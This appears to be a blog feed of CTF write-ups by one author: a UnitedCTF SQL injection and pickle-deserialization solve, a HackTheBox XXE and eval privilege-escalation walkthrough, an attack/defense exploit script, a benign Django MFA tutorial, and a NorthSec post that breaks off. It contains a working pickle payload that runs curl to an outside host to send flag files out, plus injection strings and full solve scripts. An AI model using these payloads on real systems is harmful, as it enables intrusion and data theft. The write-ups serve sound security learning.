DEV Community: Robert Babaev

UnitedCTF 2024 - IT Portal Writeup (Full Track)

Robert Babaev — Sat, 21 Sep 2024 01:24:13 +0000

IT Portal was a 2-challenge-long track at UnitedCTF 2024, provided by the folks at Desjardins. Here's how it went for me.

Preface

An internal team has designed a support portal to treat incidents and maintenance requests. Your mandate is to audit this new system.

The source code and an instance have been made available to you for your tests. However, the team did not provide you with an account to do these tests with!

Your first objective is thus to authenticate to the application!

Well, that's great. If I had a nickel for every time for every time I had to do security work on something where I had absolutely no credentials and had to break my way in, I'd have 2 nickels. That, however, is a story for another time.

Part 1 - SQLi, Just Like Grandma Used To Make

Let's get the ball rolling. First up, source code inspection. I needed to get into the application somehow, and the instancer said something about using SSH to log in . . . somehow.

I noticed the paramiko import off the bat and put two and two together -- this was the login portal. And it was rolling its own SSH. Oh boy.

#!/usr/bin/env python3

import sys
import time
import base64
import pickle
import socket
import sqlite3
import paramiko
import threading
from paramiko.common import (AUTH_SUCCESSFUL, AUTH_FAILED,
                             OPEN_SUCCEEDED, OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED)

For those unaware, paramiko is a Python package specifically designed for all things SSH: Servers, Clients, everything you could ever want!

My suspicions were confirmed when the ITPortal class was derived from Paramiko's server interface. And -- excuse me, WHAT?

class ITPortal(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
        if kind == "session":
            return OPEN_SUCCEEDED
        return OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username: str, password: str) -> int:
        con = sqlite3.connect(DB)
        c = con.cursor()

        user = c.execute(
            f'SELECT user_id from users where username LIKE "{username}"'
        ).fetchone()
        if user is None:
            return AUTH_FAILED

        auth = c.execute(
            f'SELECT user_id from users where username == "{username}" and password == "{password}"'
        ).fetchone()
        if auth is not None:
            return AUTH_SUCCESSFUL
        return AUTH_FAILED

    # --- SNIP ---

Folks, we are maybe 1 minute into looking at this file, being GENEROUS, and we already have not one, but two SQL injections. And they're the classic garden variety zero-filter type.

Alright, I can get a sense of where to go from here. Now I just need to write an SSH client that doesn't . . . take . . . a login shell. Well, you know what they say about learning experiences.

I did sneak a peek at the handle function to make sure I wasn't doing anything crazy. I did need to factor in a host key -- I opted to use some Python to generate a guaranteed-paramiko-compatible SSH key for the host, chucked it in the key file mentioned, and I was in business.

def handle(client: socket.socket, server: ITPortal):
    t = paramiko.Transport(client)
    host_key = paramiko.RSAKey(filename=HOST_KEY)
    t.add_server_key(host_key)
    t.start_server(server=server)

    chan = t.accept(20)
    if chan is None:
        print("[!] No channel started, exiting.")
        sys.exit(1)

    while True:
        chan.send(CLEAR) # clear terminal
        chan.send(b"[ " + FLAG + b" ]")
        chan.send(MENU)
        choice = readline(chan).strip(b"\r\n")

# --- SNIP ---

def start_server(address: str, port: int):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try: 
        s.bind((address, port))
        portal = ITPortal()

        s.listen(100)

        while True:
            client, addr = s.accept()
            print('[?] Incoming connection from: ', addr)
            t = threading.Thread(target=handle, args=[client, portal])
            t.start()
    finally:
        s.close()


if __name__ == "__main__":
    print('[*] - IT Portal -')
    print('[?] Serving on 0.0.0.0:2020')
    start_server("0.0.0.0", 2020)

The only other thing is that check_auth_password indicated that I needed an SQLite3 database, so a quick and dirty users table based on what I was seeing solved that:

$ sqlite3 db/portal.db
> CREATE TABLE users(user_id, username, password);
> .exit

That was easy. Alright, time to test.

In one terminal window, I spooled up a local version of the portal using uv: uv run --with paramiko portal.py

In another, I got the beginnings of a solve script. After bit of time fiddling with Paramiko's API, and introducing the classic " OR 1=1-- payload that so many SQL databases have been graced with, I had this:

import paramiko
from paramiko import Channel, SSHClient

def main():
    client = SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(
        "localhost",
        port=2020,
        username='" OR 1=1--',
        password="hello",
        look_for_keys=False,
    )
    print("[+] Logged in successfully.")
    channel = client.invoke_shell()
    time.sleep(0.1)
    while channel.recv_ready():
        output = channel.recv(1000)
        # This gets rid of the "screen clear" bytes
        output = output.replace(b"\x1b[H\x1b[2J", b"")
        print(output.decode(), end="")

In short, this would turn both SQL statements formed by the login into:

SELECT user_id from users where username LIKE "" OR 1=1 --
SELECT user_id from users where username == "" OR 1=1 -- and password == "hello"

1=1 is a tautology, so these just resolve to the first entry the database can find, and we're through. That's flag one!

[+] Logged in successfully.
[ flag-aa2181b8db80934befc12a9faf688b ]
-----------------------
|| IT SUPPORT PORTAL ||
-----------------------
|  1 - Create Ticket  |
|  2 - Check Ticket   |
|  x - Exit           |
-----------------------
>

Part 2: You INSERTED a Pickle WHERE?

Alright, time to look at the rest of this portal. It looked like it could do 2 things:

Create tickets
Inspect tickets

Hilariously, this was enough to completely compromise the app.

Now, you'd think that the worst that could happen would be that they'd have another SQL injection that I'd have to finagle into sensitive information disclosure.

Then I saw this:

def create_ticket(project: str, subject: str, desc: str):
    con = sqlite3.connect(DB)
    c = con.cursor()
    try:
        t = Ticket(subject, desc)
        t_blob = base64.b64encode(pickle.dumps(t)).decode() 
        print(project)
        c.execute( # Uh oh.
            f'INSERT INTO tickets (project, ticket) VALUES ("{project}", "{t_blob}")'
        )
        con.commit()
    finally:
        c.close()
        con.close()

Did . . . that's pickle. Why are people using pickle for data storage?! You know, I should have figured as much from the imports, but oh JOY, was I going to have a time here.

Quick Python lesson: Pickle is a way of serializing and unserializing data into binary format for easier storage. You can, to an extent, store the state of a python program at a specific moment in time.

Fun fact, pickle can also cause a remote code execution when you load a pickled Python object. And guess what this program does?

def check_tickets(project: str) -> str | None:
    con = sqlite3.connect(DB)
    c = con.cursor()
    body = ""
    try:
        # Hilariously, this is actually the correct way of doing it
        tickets = c.execute(
            "SELECT ticket from tickets where project = (?)", (project,)
        ).fetchall()
        if len(tickets) == 0:
            return None
        for ticket in tickets:
            if ticket is None:
                continue
            t = pickle.loads(base64.b64decode(ticket[0])) # *Uh oh.*
            line = f"| {t.subject} :: {t.status}\r\n"
            body += line
        return body
    except Exception as e:
        print("[!] Err: ", e)
    finally:
        c.close()
        con.close()

Alright. Here's the gist of the issue:

The program pickles an object, base64 encodes it, and then stores it in a database.
The program then assumes the object will be in the form that it expects.
The program then unpickles the object, thinking it will not cause any problems.

Unfortunately, they forgot just one teensy tiny detail: There's another SQL injection upon insert. And they don't make the same mistake when they read from the database.

So, how did I exploit this?

Part 3: Out of Band, Out of Mind!

Python classes can define a __reduce__ method, which allows them to specify how they'll be serialized into a pickle object. Since I could more or less fully control what was being inserted into, and thus extracted from, the database, I had a decent amount of power.

However, it took some fiddling to figure out how to actually do it. Another player actually had a much better payload than I did, but this is what I came up with:

class Ticket:
    STATUS = ["open", "in progress", "closed"]

    def __reduce__(self):
        return (
            os.system,
            (
                "curl https://olpcagyxhunezwuouwgabt4twk3wueffb.oast.fun/$(cat /flag* | base64 -w 0)",
            ),
        )

    def __init__(self, subject, desc):
        self.subject = subject
        self.desc = desc
        self.status = "open"

That oast.fun URL is actually a link to interactsh, a fantastic out-of-band (OOB) interaction server, perfect for server-side request forgeries and, in my case, data exfil. (Shout out to Quack for the writeup that inspired this technique.)

I used cat with a wildcard to read anything that looked like it had a flag prefix, that way I'd be able to do all of this in a single request. Base64 encoding made sure that the output was URL safe. However, if you want something more sophisticated, ngrok and a bash TCP reverse shell are more than likely possible like this player did.

That said, now I just needed to send a payload over the wire. After creating a function to condense the repeated calls to recv() et al., this was the remainder of the exploit script:

    # Exploit Part 1: Sowing the Seed

    channel.sendall(b"1\n")
    time.sleep(0.1)
    receive(channel)
    time.sleep(0.1)
    project = secrets.token_hex(8)
    payload = pickle.dumps(Ticket(project, "Some Description"))
    pickletools.dis(payload)
    delivery = f'{project}", "{base64.b64encode(payload).decode()}")--\n'
    # delivery = f"{project}\n"
    channel.sendall(delivery.encode())
    receive(channel)
    time.sleep(0.1)
    channel.sendall(b"This won't matter\n")
    receive(channel)
    time.sleep(0.1)
    channel.sendall(b"And neither will this!\n")
    receive(channel)
    time.sleep(0.1)

    # Exploit Part 2: Reaping the Reward

    channel.sendall(b"2\n")
    receive(channel)
    time.sleep(0.1)
    channel.sendall(f"{project}\n".encode())
    receive(channel)

    client.close()

    # We're done here.  Over to interactsh!

Now, the first few times I did this, I could not get anything to show up, and that's because I initially took a different approach trying to inject os function calls into the body of the ticket directly. Which, realistically, is about as bad for stealth as triggering an OOB interaction and then forcing an error. Oh well.

Below is an example of the result in interactsh:

And a call to ls decoded in CyberChef.

Conclusion

So, to address the various security issues at play here:

Honestly, unless you have a really good reason to, rolling your own SSH Server isn't a great idea. Combined with the SQL injection, this portal had an authentication bypass that really shouldn't have happened.
Parameterized queries! They're super important for preventing SQL injections, and as we've seen here, those escalate real fast.
Pickle -- just don't. Find another way to serialize it. There are so many RCE risks it's not even funny. Heck, there was an opportunity to just have the ticket attributes be an actual part of the database table, maybe have a hook function to read from the tuple, plenty of ways of going about it. No need to get fancy with base64-encoded pickling, although I absolutely get why you might do that.

Great challenge, really had a lot of fun with this one.

Adding Django Admin Panel MFA to an Existing Project

Robert Babaev — Fri, 02 Dec 2022 18:34:45 +0000

Introduction
MFA? What's That?
Is This Gonna Be Super Complicated?
Baseline Assumptions
Installing Packages
- Pip
- Poetry
Updating The Settings
- INSTALLED_APPS
- MIDDLEWARE
- ENABLE_MFA
Updating The Admin Panel
Updating The URLs
Deployment
Conclusion

Introduction

If you're like me, you've probably started up a Django project, got your Admin panel all nice and set up . . . and then realize down the road that maybe relying on just your password manager for account security isn't a great idea. We're all human, so let's fix that and add some MFA to our admin panel!

This task will use a TOTP-based method, leveraging apps such as Google Authenticator, Authy, etc. Since all MFA apps that work this way use essentially the same method, you don't need to worry about choosing one authenticator over the other, aside from possibly security considerations between the apps. Otherwise, pick your favourite and go!

MFA? What's That?

MFA (or Multi-Factor Authentication), is a security principle that revolves around combining authentication factors for added security. The three primary factor categories are Something You Know (think passwords, explicit information), Something You Have (an out-of-band device like a smartphone or hardware token), and Something You Are (biometrics, think fingerprints and retina scans). The theory behind this is that someone would have to compromise more than one factor in order to gain access to your account, as opposed to just cracking your password.

Since biometrics really aren't great for web authentication, we'll stick to the two other categories we have: Something You Know (username/password), and Something You Have (a smartphone).

Is This Gonna Be Super Complicated?

Nope! Thanks to libraries like django-otp and qrcode, implementing this in Django will be simple. You'll just have to flick a switch in the settings once you have MFA set up.

Baseline Assumptions

Let's assume that you already have:

A Django application with some models already registered
A superuser in the application

For the sake of the tutorial, let's say you have a project structure similar to this:

myproject/
├── data
│   ├── __init__.py
│   ├── admin.py
│   ├── apps.py
│   ├── migrations/
│   ├── models.py
│   ├── serializers.py
│   ├── tests.py
│   └── views.py
├── manage.py
└── myproject
    ├── asgi.py
    ├── __init__.py
    ├── settings.py
    ├── urls.py
    └── wsgi.py

myproject is the actual django project, and data is an "app" in the project.

If you have Docker, Poetry, or whatever else you might have in your project, add that as needed.

Installing Packages

We'll need the following packages:

django-otp
qrcode

Pip

To install with Pip (assuming no requirements.txt file):

pip3 install django-otp qrcode

Poetry

To install with Poetry:

poetry add django-otp qrcode

Updating The Settings

We'll need to delve into the settings.py file and update a few things.

INSTALLED_APPS

First, update your INSTALLED_APPS list as follows, adding django_otp and django_otp.plugins.otp_totp:

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'data',
    'django_otp',
    'django_otp.plugins.otp_totp',
]

This will add the django-otp capabilities into the app so we can actually work with it.

MIDDLEWARE

Next, update your middleware. You'll need to add django_otp.middleware.OTPMiddleware somewhere after django.contrib.auth.middleware.AuthenticationMiddleware, like this:

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django_otp.middleware.OTPMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ENABLE_MFA

Finally, we'll need to add a setting to the bottom of the settings.py file to enable or disable MFA (i.e. enable it once we have the token in our authenticator app).

I've used environment variables here (which, if you can't use cloud secrets, is probably the next best thing for security, as you're still not hardcoding anything into your application). Of course, if you're not using environment variables for some reason, adapt as necessary.

# Additional settings

ENABLE_MFA = os.environ.get("ENABLE_MFA", "false") == "true"

Updating The Admin Panel

Now, this method is optimized for a single application in the project, but you could do it for multiple with some tweaks.

First up, you'll need to change up how you define your admin panel.

For the sake of this tutorial, let's assume your old admin.py file looked like this:


from django.contrib import admin
from data.models import *

# Register your models here.

class ArticleAdmin(admin.ModelAdmin):
    pass

class ProjectAdmin(admin.ModelAdmin):
    pass

class ContactAdmin(admin.ModelAdmin):
    pass

admin.site.register(Article, ArticleAdmin)
admin.site.register(Project, ProjectAdmin)
admin.site.register(Contact, ContactAdmin)

Now, in order to effectively enable MFA we need to do a few things.

First, update your imports. Add the following to your imports section:

from django.conf import settings
from django_otp.admin import OTPAdminSite
from django.contrib.auth.models import User
from django_otp.plugins.otp_totp.models import TOTPDevice
from django_otp.plugins.otp_totp.admin import TOTPDeviceAdmin

Next, add the following code to the section just before you register the Article, Project, and Contact models:

class OTPAdmin(OTPAdminSite):
    pass

if settings.ENABLE_MFA:
    admin_site = OTPAdmin(name='OTPAdmin')
    admin_site.register(User)
    admin_site.register(TOTPDevice, TOTPDeviceAdmin)
else:
    admin_site = admin.site
    setup_admin_site = OTPAdmin(name='OTPAdmin')
    setup_admin_site.register(User)
    setup_admin_site.register(TOTPDevice, TOTPDeviceAdmin)

So what does all that junk do? Well, we have the OTPAdmin class, which is basically a wrapper for Django's actual admin panel. Now we do one of two things depending on whether MFA is enabled in the settings:

If MFA is enabled, we make an OTPAdmin site and use that for our admin site, registering the User and TOTPDevice models. This allows us to login with our authenticator app.
If it isn't, we use the Django default admin site, and set up a dummy admin site for the TOTP setup. This way, we can set up our MFA in the admin panel and then enable it with the flick of a switch in the settings.

Now, just update your model registrations:

admin_site.register(Article, ArticleAdmin)
admin_site.register(Project, ProjectAdmin)
admin_site.register(Contact, ContactAdmin)

In all, you should have:

from django.contrib import admin
from data.models import *
from django.conf import settings
from django_otp.admin import OTPAdminSite
from django.contrib.auth.models import User
from django_otp.plugins.otp_totp.models import TOTPDevice
from django_otp.plugins.otp_totp.admin import TOTPDeviceAdmin

# Register your models here.

class ArticleAdmin(admin.ModelAdmin):
    pass

class ProjectAdmin(admin.ModelAdmin):
    pass

class ContactAdmin(admin.ModelAdmin):
    pass

class OTPAdmin(OTPAdminSite):
    pass

if settings.ENABLE_MFA:
    admin_site = OTPAdmin(name='OTPAdmin')
    admin_site.register(User)
    admin_site.register(TOTPDevice, TOTPDeviceAdmin)
else:
    admin_site = admin.site
    setup_admin_site = OTPAdmin(name='OTPAdmin')
    setup_admin_site.register(User)
    setup_admin_site.register(TOTPDevice, TOTPDeviceAdmin)

admin_site.register(Article, ArticleAdmin)
admin_site.register(Project, ProjectAdmin)
admin_site.register(Contact, ContactAdmin)

Updating The URLs

Finally, let's head over to our project's urls.py file.

Add the following import:

from data.admin import admin_site

Remember that admin_site variable we made that's either the OTPAdmin wrapper or the Django admin site? That's the one!

Then, swap the admin.site.urls for admin_site.urls in your urlpatterns:

urlpatterns = [
    path('admin/', admin_site.urls),
    ...
]

Now when we deploy, we'll either be met with the standard Django admin urls by default, or the OTPAdmin URLs when we enable MFA in the settings. Easy!

Deployment

Make and run your migrations and launch the app, making sure that ENABLE_MFA is set to False (however you need to do that) in your settings.

Navigate to and you should see the old admin login:

Now you're going to want to do the following once you log in:

Add a new TOTP Device (see the OTP_TOTP section of the admin panel).
Select your user id (or search for it), and name the device however you like.
Leave the rest of the settings as they are.
Save the new device.
Click on the "qrcode" link on the new device.
Scan the QR Code into your authenticator app.

That's it! You should be able to set ENABLE_MFA to True in your settings, restart the server, and log in to your admin panel with your authenticator app.

Conclusion

This was a tutorial on how to integrate MFA into your Django admin panel. You can expand this to multiple apps in the project with some tweaks, but I'll leave that as an exercise for your situation.

Thank you for reading, and best of luck building secure apps!

HackTheBox Writeup: Bounty Hunter

Robert Babaev — Wed, 13 Jul 2022 22:59:39 +0000

You'd think that a group of bug bounty hunters would know to make their site at least somewhat secure. This is a good look at what happens when you assume XML input won't get messed with, and why you should never use Python's eval() function if you can avoid it.

Recon

Once the VPN is up, we can get going with a port scan.

Nothing really special here, just HTTP and SSH ports. This looks like an Ubuntu box from the SSH version. Let's fire up a browser and see what's on that web server.

Main qualification is "Can use burp," that's amusing, but I won't knock a newer team. Bad site security, on the other hand . . . well let's take a look. The Portal page is the only thing that seems to have any functionality here. Let's inspect that.

Foothold

So it looks like the database isn't actually functioning, but we do have a ticketing system of some kind, likely to log bounties. I do want to see what's going through to the other end, but first let's try a few things. I did see that the site is running PHP, so let's try PHP injection?

No PHP injection, okay. However, looking at the console, I saw I had a DOM error coming from the JavaScript. Interesting. I looked into that and it looked like it was firing off XML to a "dirb-proofed" tracker page. The XML made my brain immediately jump to XXE (XML External Entity) exploits. Question was, how could I intercept that and change it to fit my needs better?

First things first was capturing the request to the tracker. The POST data had one parameter, data, which had what I originally thought was base64-encoded data. I dropped that into Cyberchef and confirmed that yes, this was base64 encoded XML getting fired off to the server. Lovely.

The next step was crafting payloads and launch methods. First was building the launch. I whipped up a Python script to replicate the XML I wanted to fire off, and then encode that as base64. Note the doctype and entity code bit, that's important for the attack as it's what is actually doing most of the work. Then I left an fstring for my XXE payload and was off to the races.

In short, the way XXE works is you take advantage of a site using externally loaded XML to load things that are, usually, not XML the site expects. For instance, the classic /etc/passwd file. That was achieved with a payload of "file:///etc/passwd", and, drum roll please . . .

Tada! We have a list of every user on the box. Looks like we just have development and good old root, so no user hopping this time. I tried a number of different files, ranging from /etc/network/interfaces to /home/development/.ssh/id_rsa in hopes of a key auth. Only the /etc stuff really worked. I couldn't get any of the PHP code to load, though. However, I remembered a trick I learned in a CTF, which involved the PHP wrapper of php://filter, and allowed you to convert data to base64. So, I used that, extracted the tracker source as base64, converted it back to plain text, and I had the page source on my local machine. I did this for the other pages as well, but now I was a little stuck. Where do I go from here? There aren't any passwords lying around in easily accessible places.

Then I realized I goofed hard and forgot to dirbust.

Now, before I get into actually getting user on this box, I want to say that XXE is actually relatively easy to remediate, and mostly comes up in PHP code, but can really crop up in any XML API. This mostly comes down to not allowing any sort of user defined structures in the XML, and only using internal validators on the server. For more information, I'd recommend reading the OWASP prevention page here.

Getting User

Directory enumeration pointed me to the two things I was missing to crack this user flag: a README.txt in the /resources URI, and a file called db.php. The README.txt was a good read, since it gave some more context to the development situation. The dev hadn't quite finished hooking up the database, and yet the website was live, probably because they hadn't actually gotten around to deploying a database yet.

Extracting db.php, you find that oh great they hard-coded credentials. Never do that if you can avoid it, you always want to use environment variables or keystores or something that isn't in your source code, because you never know what could be extracted.

There's a good chance that the user reused the password for their user account on the box, so let's try that same password with the SSH username "development."

Lo and behold, that worked, and I had a shell. Let's go for root now.

Privesc

First instinct for me upon getting user is sudo -l. Not met with a password this time, and it looks like we do actually have an interesting allowance. A ticket validator written in Python. We have a contract.txt file in the user directory that supports the fact that this script is evidently critical. I'm curious as to why you'd need sudo to run that.

Extracting the file, we get this. I'm spotting one thing that really shouldn't be there. Can you guess what it is?

Yep. It's the "eval" call. In Python, that is insecure as all hell, especially with root permissions. In this case, it looks like it's being used to validate the ticket numbers. We can use this to run system commands as root, including firing up shells.

Of course, literally nothing in the script seems to require root privileges, so I'm not sure why the writers did that in this hypothetical scenario. Definitely don't have calls to code evaluation functions with user supplied data. And definitely don't have them be run as root.

The gist of this exploit, then, is we need to get to the point where the ticket evaluator makes that "eval" call, and then shove in a shell and we have root.

That import part is a one line way of importing the os module and executing a shell, and it works quite handily here. Fire off the ticket into the script and...

Boom. There's our lovely little root shell.

Shenanigans

Before I realized I forgot the directory enum, I tried to take the XXE further than necessary by attempting a remote code execution inside of it. Of course, the expect:// module isn't typically loaded in PHP, so that worked about as well as trying to play guitar but with all the strings cut.

I looked around at some alternatives to actual RCE and found an interesting route involving scanning a subnet through XXE. Huh. Guess I could try that.

I used the XXE method to grab the /etc/network/interfaces file, then used the subnet mask to grab the HTTP pages of every box on the network. Gave me some good sneak peeks into what other challenges were! I could have gone further and ran directory enumeration, but that's a project for another day.

Conclusion

This was my first box on the HackTheBox platform, and I really enjoyed it! I've run boxes on CyberSecLabs before, so I was right at home with this one. A great look at the perils of relying on Base64 to hide your unchecked XML-based traffic and hard-coding credentials, and what happens when you use "eval" with user input.

PS

I recently (July 2022) had to reupload this writeup to dev.to, and it had been a while since I first wrote it, so I touched up a few things and added some remediation steps. Hope you find this useful!

Selenium Oxide Field Testing @ ICC 2022

Robert Babaev — Fri, 24 Jun 2022 14:43:58 +0000

Preamble

Recently I had the pleasure of playing in the first International Cybersecurity Challenge for CyberSci Team Canada. This competition was truly the first of its kind, bringing cyber competitors from all over the world to duke it out in Jeopardy and Attack/Defense formats. It was also the place where I field tested Selenium Oxide. This should serve as a guide to what the library can and cannot do, as well as a journal of my experiences using it.

For some context, Selenium Oxide is a builder pattern browser based web exploitation framework contained in a Python library. I began working on it after the 2022 Global Cyber Games, which may be either an obscure or infamous event by this point. During the Games, we came across a website which, for the life of me, I could not figure out how to exploit using Requests. Granted, this was probably due to my own inexperience with automating exploits, but some tokens in PHPMyAdmin confused me as far as automation went, so I opted to use another automation library, Selenium. Selenium I figured would allow some automation of the exploit, and it would be browser based so anything sent over the wire would be like a user doing it themselves. Easy right?

Ha.

The first thing I noticed about Selenium was the sheer amount of overhead required to even start. It took about sixteen lines of code to do a simple exploit, and you had to continually reference the driver, in addition to manually grabbing and manipulating elements in two functions or more.

The second thing I noticed was it was about optimizing testing speed, but not stealth, which can definitely be useful in A/D CTFs. I didn't want to write wait functions every time, so I got annoyed with the whole approach.

Thus, Selenium Oxide was born. I spent a while hacking on it, on and off due to school and work taking up a good portion of my time and energy. Leading up to the ICC, it also fell a bit to the wayside in favour of tools like flagWarehouse, but I still kept it in my back pocket, because I knew some challenge was gonna call for it.

ICC 2022 Field Testing

Then we're dropped into Athens, Greece. A beautiful city, and the home of the Stavros Niarchos Foundation Cultural Centre, the world battleground of cyber for 3 days. The second day was Attack/Defense, which if you were like a lot of us and not familiar with the game format, is a format that revolves around teams attacking other boxes while defending their own, with identical services on each box. Automation is critical here, since flags expire and are cycled every couple of minutes.

One of the challenges revolved around an OpenSea clone, with "NFTs" that you could buy or donate. Basically a parody of the original. Finding an exploit for the platform didn't take horribly long for us, but the exploitation called for a signature using some weird form of elliptic curve cryptography. This was out of my league, and I'd taken on the responsibility of writing the automated exploit for the challenge. So what was I to do? Well, one avenue was reverse engineer the signature algorithm, and the other avenue was just use the browser.

Wait.

Use the browser. Sound familiar?

I installed Selenium Oxide since I was on a relatively fresh install of Debian on my laptop. I also grabbed Geckodriver and a Firefox binary, since I knew I would need those.

I'd designed Selenium Oxide so that writing exploits or fuzzers was as streamlined as possible. Initializing took just a protocol and service host, with some potential for using proxies and stealth mode. I managed to use Requests and SeO2 (Selenium Oxide so I don't have to write it out) in tandem, though that does put a Requests integration in the pot of features to be added. The problems mainly started coming in when actually running the exploit. The way the challenge worked was that you had to click a buy button twice in order to buy an NFT, and that was part of both the exploit setup and execution. This caused a problem as the button was not registering as being active, causing the exploit to fail. Crap. What now?

Well, there was that signature forging. Maybe I could do that? Exposing the Selenium driver in the exploit class let me do stuff that wasn't explicitly defined in the library, such as execute JavaScript. So I found the JavaScript to actually process the transaction, pasted it into a JS executor with some arguments, ran the attack client and....

Signature verification failed.

What? That can't be right, I had the correct private key in the browser. I thought about debugging it, but figured I was too close to lose any attack points, and the Latin America team had already gotten first blood. So I had to think fast.

For a time I wound up making the exploit slightly more manual than I would have liked. Using python's Input function, I used SeO2 and Requests to get me to the purchase page. Two clicks, then enter, and the program would snag and submit the flag. I had to expose the driver once again to do this, but it worked. Two clicks, then enter. Once on each individual NFT on each individual target.

Gah, that's not sustainable. No good.

After a few minutes of doing this, I realized that I needed to start working on other stuff if we wanted to get anywhere. So I killed the client and went back to the exploit script in between running around helping my teammates with their tasks and getting sitreps.

Taking another look at the JavaScript execution, I realized that the arguments I was passing in were being processed as undefined in the JS. Weird. So I amended the JavaScript, did some more debugging using the proxy feature with ZAP, and thought I had a more robust script.

Until Selenium decided that flash alerts were cause to throw exceptions.

Conclusion

As you can see, it wasn't perfect. But eventually I got to a point where the script was running reliably barring other teams patching, and any further tweaking required more brain energy than I had with a half hour remaining. SeO2 allowed me to use the browser's own JavaScript against it, which is where the library seems to shine. Complicated client side measures, combined with a need for stealth in A/D, and potentially even a proxy for debugging or logging, and you've got a perfect storm for Selenium Oxide's strengths.

There are certainly other applications of the library, especially since I'm currently working on Version 1.1.0 at the time of writing, but those are a story for another time. If you want to check out the project on GitHub, feel free to head to the link below, or search Selenium Oxide on the platform.

Selenium Oxide Github

If you're curious, here's the final endgame exploit I used, in conjunction with FlagWarehouse. The Capabilities thing was a custom hack I did on the fly for the competition, but will be added to the v1.1.0 release.

#!/usr/bin/python3

import sys
import re 
import requests
import random
import string

from selenium_oxide.exploit_builder import ExploitBuilder
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities


def get_random_string(length):
    # choose from all lowercase letter
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

PRIV_KEY = "37ebd24a1abc46fe8c461e828d4492385bee3ebe139f93170f709b43f19e5bd8"
PUB_KEY = "d48ee5fcc11390ec4d42b4cc1a6ca88541504a1e3b495ed834e1c68feae9067ee32c7a3770df9a02179cc98e23ba970d0da9e90fd33eaa4226eb97c55007ee34"

# --- TEAM DATA ---
TEAM_TOKEN = "570e672168f96357dd325bcb6692d901"

# --- SERVICE DATA ---
PORT = 3003 # CHANGE THIS
SERVICE_NAME = "ClosedSea-2" # CHANGE THIS

# --- TARGET DATA ---
ip = sys.argv[1]
vuln_service = f"http://{ip}:{PORT}"

# --- REGEXES ---
flag_regex = re.compile(r'[A-Z0-9]{31}=')
nft_mint_regex = re.compile(r"<a class='btn btn-primary' href='http://10.60.\d.1:3003(/view/\w+-\w+-\w+-\w+-\w+)'>")

# --- RETRIEVING TARGET DATA ---
target_data = requests.get("http://10.10.0.1:8081/flagIds").json()
specific_target_data = target_data[SERVICE_NAME][ip]

# --- FLAGS ---
flag_bucket = [] # Every time you find a flag, append it to the bucket

# 1337 hax goes here

minter_session = requests.Session()
buyer_session = requests.Session()

capabilities = DesiredCapabilities.FIREFOX.copy()
capabilities['unexpectedAlertBehaviour'] = 'ignore'

buyer_exploit = ExploitBuilder("http", f"{ip}:{PORT}", stealth=False, capabilities=capabilities)
(
    buyer_exploit
        .get("/login")
        .type_by_id("login_username", "echo-one")
        .type_by_id("login_password", "echo-one")
        .type_by_id("private_key", PRIV_KEY)
        .click_by_id("login_submit")
)

for target in specific_target_data:
    buyer_exploit.get(f"/view/{target}")
    signature = buyer_exploit.driver.execute_script(f'function buy() {{var nft_id = "{target}";var user_id = window.user_data.user_id;var blob = JSON.stringify({{ nft_id, user_id }});var privkey = window.user_data.private_key;var signature = sign(blob, privkey);$("#buySignature").val(signature);return signature}} return buy()')
    price = buyer_exploit.driver.execute_script(f'return document.getElementsByName("price")[0]')
    session_cookie = buyer_exploit.get_cookie_by_name("session")
    s = requests.Session()
    s.cookies.set(session_cookie['name'], session_cookie['value'])
    buy = s.post(f"{vuln_service}/buy/{target}", data={
        "signature": signature,
        "price": price
    })
    flag_bucket += re.findall(flag_regex, buy.text)

# # You can print the whole output, the client will extract the flags with a regex

for flag in flag_bucket:
    print(flag)

res = requests.put("http://10.10.0.1:8080/flags",
                        headers={'X-Team-Token': TEAM_TOKEN},
                        json=flag_bucket,
                        timeout=5)
buyer_exploit.driver.close()

NorthSec 2022: Tako SSO

Robert Babaev — Mon, 23 May 2022 01:01:45 +0000

Additional Solve Credit:

Alexandra Tenney
Cat Whisperer
James Lowther

Multifactor authentication is arguably a core concept in cyber security, and doing it wrong can have catastrophic consequences. So let's take a look at Tako SSO, Ouyaya's SSO provider that's totally secure as always.

Recon

You're given creds for the web app. More or less immediately, you can get the source code in the comments of the HTML. Looks like a Flask App.

from flask import Flask, session, render_template, request
from flask_session import Session
import secrets
from flask_json import FlaskJSON, JsonError, json_response, as_json

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
Session(app)
FlaskJSON(app)

@app.route("/")
def set():
    session['tries'] = session.get('tries',0)
    return render_template('index.html')

@app.route("/guess", methods=['POST'])
def guess():
    session['tries'] = int(session.get('tries',0))
    x = secrets.randbelow(100)
    data = request.get_json(force=True)
    value= data['value']
    if str(x) in value:
        session['tries'] = session['tries'] + 1
        if session['tries'] > 1000:
            msg = "The flag is CHANGEME"
        else:
            msg = "This is the value expected. You are at " + str(session['tries']) + " out of 1000. Sending a new challenge"
    else:
        msg = "I expected the challenge value " + str(x) + " Resetting you to 0 tries. Good luck"
        session['tries'] = 0
    return msg

So it looks like our main point of attack is the "/guess" endpoint, which is where we do the actual authentication. We have to do 1000 successful attempts consecutively, which has a (1/100)^1000 chance of happening by pure chance, or in other words after the heat death of the universe on most machines that aren't the Hot Wheels PC.

But there's a critical flaw in the code.

if str(x) in value:

